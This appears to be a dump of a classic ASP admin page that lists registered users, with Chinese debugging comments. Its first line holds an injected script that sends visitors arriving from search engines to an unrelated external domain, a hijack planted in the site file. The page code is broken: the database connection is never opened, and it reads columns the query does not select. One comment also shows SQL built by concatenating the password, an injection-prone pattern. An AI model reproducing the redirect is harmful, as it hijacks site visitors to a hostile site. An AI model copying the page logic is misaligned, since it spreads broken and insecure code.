d:\wwwroot\wuchunhua\zhuce\userlist.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
002:
003:
<%
004:
if session("Passed")<>True or session("admin")<>1 then
005:
response.redirect "index.asp"
006:
end if
007:
%
>
008:
<!--#include file="chkpwd.asp"-->
009:
<%
010:
dim rs,sql
011:
012:
database = "data/data.mdb"
013:
014:
'原文：删除？测试失败 会
015:
016:
set rs=server.createobject("adodb.recordset")
017:
018:
'原文？ set conn=server.Createobject("Adodb.connection") '这里加一句代码就可以解决了
019:
020:
'原文？connstr="provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(database)
021:
'原文？conn.Open=connstr '吴春华添加的 这里你改成你的数据库位置
022:
023:
sql="select id,username,email from users"
024:
rs.open sql,conn,1,1
025:
'1,1为只读数据
026:
'数据库连接conn对象未打开 Dim database,conn,connstr
027:
'database = "data/data.mdb"
028:
'Set conn=server.createobject("ADODB.Connection")
029:
'connstr="provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(database)
030:
'conn.Open connstr
031:
032:
'我看了你的代码中, 发现 rs.open sql,conn,1,1 处的 conn 没有在前面初始化过
033:
'应该有
034:
'Set conn = Server.CreateObject("ADODB.Connection")
035:
'conn.open "Provider=Microsoft.JET.OLEDB.4.0; Data Source=c:\abc.mdb" ' 这里你改成你的数据库位置
036:
'这样再使用
037:
'rs.open sql,conn,1,1
038:
'就不会出错
039:
'还有, 尽量在 SQL 语句中将表名与字段名括起来
040:
'SELECT * FROM [User] WHERE [UserPassWord] = '" & password & "' AND [username] = '" & nick & "'" 31567希望对你有帮助！
041:
042:
043:
' 连接无法用于执行此操作。在此上下文中它可能已被关闭或无效。：如果set rs在已打开的状态下，再用rs打开另一个连接，就会报“对象打开时，不允许操作”，注意，这里的“对象”是指rs。用rs的情况也是一样的。
044:
'但是如果userRst在已打开的状态下，再用rst（空的记录集对象）打开同一个连接是不会出错的，是允许的。这一点要搞清楚！估计你的问题，是因为在循环结束的时候没有关闭rst造成的（循环第一次运行是正常的，但第二次返回来再运行的时候因为rst没关闭，再打开就会报错了），检查一下你的代码有没有下面的语句：...... rst.close loop -->
045:
046:
%>
047:
<div style="text-indent: 600px;padding-bottom: 10px;">用户管理</div>
048:
<div style="text-indent: 550px;padding-bottom: 10px;">[[
<%
=Session("username")
%
>]]您好,你的身份是管理员!</div>
049:
<table border="1" width="700" align="center">
050:
<tr><th>用 户 名</th><th>用户姓名</th><th>电子邮件</th><th>操 作</th><th>管 理 员</th></tr>
051:
<%
052:
do while not rs.eof
053:
%
>
054:
<tr><td>
<%
=rs("username")
%
></td><td>
<%
=rs("zname")
%
></td><td>
<%
=rs("email")
%
></td><td align="center">
055:
<a href="useredit.asp?username=
<%
=rs("username")
%
>">修改</a>
056:
<%
057:
if rs("admin") <> 1 then
058:
response.write "<a href='userlist.asp?username="&rs("username")&"&delete=ok'>删除</a>"
059:
end if
060:
%
>
061:
</td>
062:
<td>
063:
<%
064:
if rs("admin") <> 1 then
065:
response.write " 否 "
066:
response.write "<a href='userlist.asp?username="&rs("username")&"&admin=ok'>提升</a>"
067:
else
068:
response.write " 是"
069:
end if
070:
%
>
071:
</td>
072:
</tr>
073:
<%
074:
rs.movenext
075:
' rs.close '测试失败 不添加：我添加这句：否则会重复打开？ -->
076:
loop
077:
%>
078:
<tr><td colspan="5" align="center">
079:
<%
080:
if rs.recordcount=0 then
081:
response.write "当前没有用户"
082:
else
083:
response.write "当前有" &rs.recordcount& "位用户"
084:
end if
085:
%
>
086:
</td></tr>
087:
</table>
088:
<p align='center'><a href="index.asp">我的界面</a> <a href='index.asp?out=ok'>退出登陆</a></p>
089:
</body>
090:
</html>
091:
<%
092:
rs.close
093:
set rs=nothing
094:
conn.close
095:
set conn=nothing
096:
%
>
097:
098: